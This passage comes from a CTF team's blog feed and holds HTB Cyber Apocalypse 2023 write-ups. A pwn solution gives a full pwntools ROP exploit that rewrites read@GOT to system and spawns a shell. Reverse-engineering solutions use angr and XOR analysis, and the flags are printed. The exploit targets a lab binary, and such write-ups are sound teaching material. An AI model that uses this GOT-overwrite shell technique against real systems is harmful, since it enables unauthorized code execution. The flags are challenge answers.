&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x0000000000401108 : add dword ptr &lt;span class="o">[&lt;/span>rbp - 0x3d&lt;span class="o">]&lt;/span>, ebx &lt;span class="p">;&lt;/span> nop dword ptr &lt;span class="o">[&lt;/span>rax + rax&lt;span class="o">]&lt;/span> &lt;span class="p">;&lt;/span> ret
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Our attack plan&lt;/p>
&lt;ul>
&lt;li>Stage 1 store string &amp;ldquo;/bin/sh&amp;rdquo; in &lt;code>.bss&lt;/code> section.&lt;/li>
&lt;li>Stage 2 change &lt;code>read@GOT&lt;/code> to &lt;code>system@GOT&lt;/code> by adding an offset between &lt;code>read@GOT&lt;/code> and &lt;code>system@GOT&lt;/code>.&lt;/li>
&lt;li>Stage 3 call &lt;code>read@plt&lt;/code> with &lt;code>/bin/sh&lt;/code>.&lt;/li>
&lt;/ul>
&lt;p>Our used gadgets in exploit script&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">rdi = 0x00000000004011bb : pop rdi ; ret
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">rsi_r15 = 0x00000000004011b9 : pop rsi ; pop r15 ; ret
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">add_gadget = 0x0000000000401108 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">gadget = 0x00000000004011b2 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here is the exploit script&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">context&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">arch&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;amd64&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;138.68.162.218&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30569&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># p = process(&amp;#39;./void&amp;#39;)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">libc_elf&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ELF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;./libc.so.6&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">elf&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ELF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;./void&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">read_got&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">elf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">got&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;read&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">libc_system&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">libc_elf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">symbols&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;system&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">libc_read&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">libc_elf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">symbols&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;read&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">system_offset&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">libc_system&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">libc_read&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">log&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">info&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;system offset in libc from read: &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">system_offset&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">system_offset&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">system_offset&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0xffffffffffffffff&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">log&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">info&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Twos complement of this offset: &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">system_offset&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">binsh_addr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">elf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bss&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mh">0x10&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">log&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">info&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/bin/sh string Address: &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">binsh_addr&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">rsi_r15&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x00000000004011b9&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">gadget&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x004011b2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">add_gadget&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x0000000000401108&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">rdi&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x00000000004011bb&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ret&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x0000000000401016&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># stage 1 store string &amp;#34;/bin/sh&amp;#34; in .bss section&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;A&amp;#39;&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mh">0x48&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">rsi_r15&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">binsh_addr&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">elf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">plt&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;read&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Stage 2 change read@GOT to system@GOT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">gadget&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">system_offset&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">elf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">got&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;read&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mh">0x3d&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">4&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">add_gadget&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># call read(&amp;#34;/bin/sh&amp;#34;) = system(&amp;#34;/bin/sh&amp;#34;)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">rdi&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">binsh_addr&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ret&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># padding ret &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">payload&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">p64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">elf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">plt&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;read&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">payload&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;/bin/sh&lt;/span>&lt;span class="se">\x00&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">interactive&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Flag is: &lt;strong>HTB{r3s0lv3_th3_d4rkn355}&lt;/strong>&lt;/p>
&lt;h2 id="original-posts">Original Posts&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://fazect.github.io/htb2023/" target="_blank" rel="noopener">From FazeCT&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Cyber Apocalypse 2023: The Cursed Mission - Reverse Engineering</title><link>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-re/</link><pubDate>Mon, 27 Mar 2023 00:00:00 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-re/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/ctf/">ctf&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/re/">re&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/htb-2023/">htb-2023&lt;/a>
&lt;/ul>
&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#shattered-tablet">Shattered Tablet&lt;/a>&lt;/li>
&lt;li>&lt;a href="#needle-in-a-haystack">Needle in a Haystack&lt;/a>&lt;/li>
&lt;li>&lt;a href="#she-shells-c-shells">She Shells C Shells&lt;/a>&lt;/li>
&lt;li>&lt;a href="#hunting-license">Hunting License&lt;/a>&lt;/li>
&lt;li>&lt;a href="#cave-system">Cave System&lt;/a>&lt;/li>
&lt;li>&lt;a href="#alien-saboteur">Alien Saboteur&lt;/a>&lt;/li>
&lt;li>&lt;a href="#somewhat-linear">Somewhat Linear&lt;/a>&lt;/li>
&lt;li>&lt;a href="#analogue-signal-processing-v2">Analogue Signal Processing v2&lt;/a>&lt;/li>
&lt;li>&lt;a href="#original-posts">Original Posts&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;h2 id="shattered-tablet">Shattered Tablet&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1KbW9wdpO7sfwq1nUaqMTmmriVMkXzpdq/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Deep in an ancient tomb, you&amp;rsquo;ve discovered a stone tablet with secret information on the locations of other relics. However, while dodging a poison dart, it slipped from your hands and shattered into hundreds of pieces. Can you reassemble it and read the clues?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Reverse Engineering&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Reverse Engineering category greets us with a binary. I used &lt;a href="https://hex-rays.com/ida-pro/" target="_blank" rel="noopener">IDA Pro&lt;/a> to decompile the binary.&lt;/p>
&lt;p>In the main function, the input is being checked through an if clause.&lt;/p>
&lt;p>I used &lt;a href="https://angr.io/" target="_blank" rel="noopener">angr&lt;/a> to get the input (you can refer to &lt;a href="https://docs.angr.io/examples" target="_blank" rel="noopener">this&lt;/a> and &lt;a href="https://s0uthwood.github.io/post/angr-ctf-writeup/" target="_blank" rel="noopener">this, too&lt;/a> to get the hang of angr).&lt;/p>
&lt;p>Here is the Python script.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">angr&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">angr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Project&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;E:/Downloads/tablet&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">simgr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">factory&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">simulation_manager&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">factory&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">entry_state&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">simgr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">explore&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">find&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mh">0x401359&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">avoid&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mh">0x401367&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">simgr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">found&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">posix&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We have to find the address of &lt;strong>puts(&amp;ldquo;Yes! That&amp;rsquo;s right!&amp;rdquo;);&lt;/strong> and avoid the address of &lt;strong>puts(&amp;ldquo;No&amp;hellip; not that&amp;rdquo;);&lt;/strong>. Also, we have to increase each of the address by &lt;strong>0x400000&lt;/strong> due to the fact that this binary is &lt;a href="https://ir0nstone.gitbook.io/notes/types/stack/pie" target="_blank" rel="noopener">PIE-enabled&lt;/a>.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{br0k3n_4p4rt,n3ver_t0_b3_r3p41r3d}&lt;/strong>&lt;/p>
&lt;h2 id="needle-in-a-haystack">Needle in a Haystack&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1f9daRLUAowb2GXMbgTaZWzu8v7aEqkWz/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> You&amp;rsquo;ve obtained an ancient alien Datasphere, containing categorized and sorted recordings of every word in the forgotten intergalactic common language. Hidden within it is the password to a tomb, but the sphere has been worn with age and the search function no longer works, only playing random recordings. You don&amp;rsquo;t have time to search through every recording - can you crack it open and extract the answer?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Reverse Engineering&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given an another binary. Again, load the binary using &lt;a href="https://hex-rays.com/ida-pro/" target="_blank" rel="noopener">IDA Pro&lt;/a>.&lt;/p>
&lt;p>This time, the main algorithm of the binary is to print out a random element from the given list, and guess what, the flag is also there!&lt;/p>
&lt;img src="re1.png" alt="linux" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{d1v1ng_1nt0_th3_d4tab4nk5}&lt;/strong>&lt;/p>
&lt;h2 id="she-shells-c-shells">She Shells C Shells&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1oYAAIEwVZ2zmv7vTyZVhfCMPLxoinSKK/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> You&amp;rsquo;ve arrived in the Galactic Archive, sure that a critical clue is hidden here. You wait anxiously for a terminal to boot up, hiding in the shadows from the guards hunting for you. Unfortunately, it looks like you&amp;rsquo;ll need a password to get what you need without setting off the alarms&amp;hellip;&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Reverse Engineering&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We get another binary, and it&amp;rsquo;s time to use &lt;a href="https://hex-rays.com/ida-pro/" target="_blank" rel="noopener">IDA Pro&lt;/a> to decompile it.&lt;/p>
&lt;p>Load the binary, we notice the function &lt;strong>func_flag&lt;/strong>. Let&amp;rsquo;s check that out!&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="n">fgets&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">256&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">stdin&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;lt;=&lt;/span> &lt;span class="mh">0x4C&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="o">++&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">^=&lt;/span> &lt;span class="n">m1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="n">memcmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">t&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x4DuLL&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mh">0xFFFFFFFFLL&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="n">j&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">j&lt;/span> &lt;span class="o">&amp;lt;=&lt;/span> &lt;span class="mh">0x4C&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="o">++&lt;/span>&lt;span class="n">j&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">j&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">^=&lt;/span> &lt;span class="n">m2&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">j&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Flag: %s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">s&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">return&lt;/span> &lt;span class="mi">0LL&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is the main part of the function. Our input string s will be used to &lt;strong>XOR&lt;/strong> with two lists, &lt;strong>m1&lt;/strong> and &lt;strong>m2&lt;/strong>. We can use &lt;strong>export data&lt;/strong> in IDA to dump out the contents of &lt;strong>m1&lt;/strong> and &lt;strong>m2&lt;/strong>, as shown below (do the same for &lt;strong>m2&lt;/strong>).&lt;/p>
&lt;img src="re2.png" alt="linux" width="1000"/>
&lt;p>We also know that after the first &lt;strong>XOR&lt;/strong>, &lt;strong>s&lt;/strong> needs to be equal to &lt;strong>t&lt;/strong> (which we can get from the memory, too). Then we can reverse &lt;strong>XOR&lt;/strong> to find &lt;strong>s&lt;/strong>, and the algorithm looks like this.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">t&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">^&lt;/span> &lt;span class="n">m1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">s&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">8&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Since after the check, we continue to &lt;strong>XOR&lt;/strong> &lt;strong>m2&lt;/strong> with the modified &lt;strong>s&lt;/strong> (which should be equal to &lt;strong>t&lt;/strong> after the memcmp), we get the algorithm to print out our flag.&lt;/p>
